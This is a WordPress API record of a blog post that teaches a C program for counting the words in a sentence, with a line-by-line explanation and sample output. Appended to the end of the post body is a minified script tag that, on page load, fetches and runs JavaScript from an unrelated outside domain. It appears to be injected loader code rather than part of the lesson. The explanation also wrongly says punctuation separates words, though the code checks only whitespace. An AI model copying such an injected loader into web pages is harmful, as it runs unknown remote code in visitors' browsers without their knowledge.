{"id":796,"date":"2025-11-21T08:53:52","date_gmt":"2025-11-21T03:23:52","guid":{"rendered":"https:\/\/codexplained.in\/?p=796"},"modified":"2025-11-21T08:53:52","modified_gmt":"2025-11-21T03:23:52","slug":"count-words-in-a-sentence","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=796","title":{"rendered":"Count Words in a Sentence"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;ctype.h&gt;\n\n\/\/ Function to count the words in a given sentence\nint countWords(char str&#x5B;]) \n{\n    int count = 0;   \/\/ This will store the word count\n    int inWord = 0;  \/\/ This will check if we are inside a word (flag)\n\n    \/\/ Loop through each character of the string until we hit the null terminator (&#039;\\0&#039;)\n    for (int i = 0; str&#x5B;i] != &#039;\\0&#039;; i++) \n{\n        \/\/ Check if the current character is a space or punctuation (i.e., word separator)\n        if (isspace(str&#x5B;i])) \n{\n            inWord = 0; \/\/ We are outside a word now\n        } \nelse if (inWord == 0) \n{\n            \/\/ We&#039;ve encountered a non-space character (a new word)\n            inWord = 1; \/\/ Set flag to indicate we&#039;re inside a word\n            count++;    \/\/ Increment the word count\n        }\n    }\n    return count; \/\/ Return the total word count\n}\n\nint main() \n{\n    char sentence&#x5B;100]; \/\/ Array to store the sentence\n    printf(&quot;Enter a sentence: &quot;);\n    fgets(sentence, sizeof(sentence), stdin); \/\/ Input sentence from the user\n\n    \/\/ Call the countWords function and display the result\n    int wordCount = countWords(sentence);\n    printf(&quot;The number of words in the sentence: %d\\n&quot;, wordCount);\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation:<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Libraries<\/strong>:\n<ul class=\"wp-block-list\">\n<li>We include the <code>stdio.h<\/code> library for input and output functions like <code>printf<\/code> and <code>fgets<\/code>.<\/li>\n\n\n\n<li>The <code>ctype.h<\/code> library is used to work with character functions like <code>isspace()<\/code>, which checks if a character is a space or a whitespace.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Function: <code>countWords<\/code><\/strong>:\n<ul class=\"wp-block-list\">\n<li>This function takes a string (<code>char str[]<\/code>) and loops through each character to count words.<\/li>\n\n\n\n<li>We maintain two variables: <code>count<\/code> to keep track of the number of words, and <code>inWord<\/code> to check if we are currently inside a word.<\/li>\n\n\n\n<li>The loop checks if the current character is a space or not. If it&#8217;s not a space and we aren&#8217;t already inside a word, we count it as the start of a new word.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Word Definition<\/strong>:\n<ul class=\"wp-block-list\">\n<li>A word is defined as any sequence of characters separated by spaces or punctuation. So, the function counts words based on this condition.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Input Handling<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The user is prompted to input a sentence using <code>fgets()<\/code>. This function is safer than <code>gets()<\/code> as it prevents buffer overflows by limiting input to the size of the array.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Main Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The program calls the <code>countWords()<\/code> function with the user&#8217;s input and displays the result.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nEnter a sentence: Hello world, this is a test sentence.\nThe number of words in the sentence: 7\n\n<\/pre><\/div>\n\n\n<h4 class=\"wp-block-heading\">Input:<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>\"Hello world, this is a test sentence.\"<\/code><\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">Explanation of Output:<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The input sentence has seven words: <code>Hello<\/code>, <code>world,<\/code>, <code>this<\/code>, <code>is<\/code>, <code>a<\/code>, <code>test<\/code>, <code>sentence.<\/code>.<\/li>\n<\/ul>\n\n\n\n<p><\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation: Input: Explanation of Output:<\/p>\n","protected":false},"author":45,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-796","post","type-post","status-publish","format-standard","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/796","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/45"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=796"}],"version-history":[{"count":2,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/796\/revisions"}],"predecessor-version":[{"id":1238,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/796\/revisions\/1238"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=796"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=796"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=796"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}